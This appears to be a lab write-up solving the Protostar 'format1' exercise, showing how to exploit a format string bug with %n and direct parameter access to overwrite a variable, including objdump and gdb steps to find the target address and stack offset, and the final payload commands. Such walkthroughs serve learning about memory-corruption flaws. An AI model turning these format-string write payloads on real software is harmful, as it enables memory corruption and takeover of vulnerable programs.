In this exercise we have to set a value to a variable other than zero.
Let us suppose, that the address of the variable is the fourth word on the stack. The first word is always the address of the format string. We can select the fourth word by repeating %d twice before %n (%d%d%d%n). If the address of the variable is far away from the top of the stack, the format string will become quite long. However there is a shorter form. We can select the address directly with $. %3$n selects the fourth word on the stack. Please note that $ might be escaped in certain situations, so that the correct form is %3\$n.
The solution is the following: we determine the address of the target variable. We pass this address in the format string. The format string is actually an argument and will be saved on the stack. Then we determine the position of the address in the stack and use the %XX\$n, where XX is a number.
First let us determine the address of the target variable.
$ objdump -t /opt/protostar/bin/format1
08049638 g O .bss 00000004 target
Then let us set a breakpoint on the call printf instruction and dump the memory from the stack. Since the first word on the stack is the address of the format string, we only have to dump the first word to find the address.
(gdb) disassemble vuln
0x08048400 <vuln+12>: call 0x8048320 <printf@plt>
(gdb) b *0x08048400
(gdb) r `python -c ‘print “\x38\x96\x04\x08%125\$n”‘`
(gdb) x/1x $esp
(gdb) x/1x 0xbffffe7d
0xbffffe7d – 0xbffffc70 = 0x20d = 525 bytes = 131 words +1 bytes
We have to modify our solution:
(gdb) r `python -c ‘print “\x38\x96\x04\x08\x41%131\$n”‘`
If we do not use gdb, our solution will be a little bit different. In this case we can discover the memory if we replace the n with x.
$ /opt/protostar/bin/format1 `python -c ‘print “\x38\x96\x04\x08AAA%134\$x”‘`
$ /opt/protostar/bin/format1 `python -c ‘print “\x38\x96\x04\x08AAA%134\$n”‘`